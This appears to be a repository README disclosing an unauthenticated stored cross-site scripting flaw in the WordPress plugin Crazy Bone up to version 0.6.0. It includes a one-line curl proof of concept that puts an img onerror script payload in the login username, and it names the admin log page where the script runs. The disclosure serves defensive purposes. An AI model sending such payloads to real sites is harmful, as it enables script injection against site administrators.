.. | |||
README.md | Loading last commit info... |
README.md
Crazy Bone <= 0.6.0 - Unauthenticated Stored XSS
Description
The plugin does not sanitise and escape the username submitted via the login from when displaying them back in the log dashboard, leading to an unauthenticated Stored Cross-Site scripting
Proof of Concept
curl 'https://example.com/wp-login.php' --data-raw 'log=a<img src onerror=alert(/XSS/)>&pwd=x&wp-submit=Log+In'
The XSS will be trigged in the 'All User' section of the Login Log: https://example.com/wp-admin/users.php?page=crazy-bone%2Fplugin.php&user_id=-1&status
References: https://wpscan.com/vulnerability/60067b8b-9fa5-40d1-817a-929779947891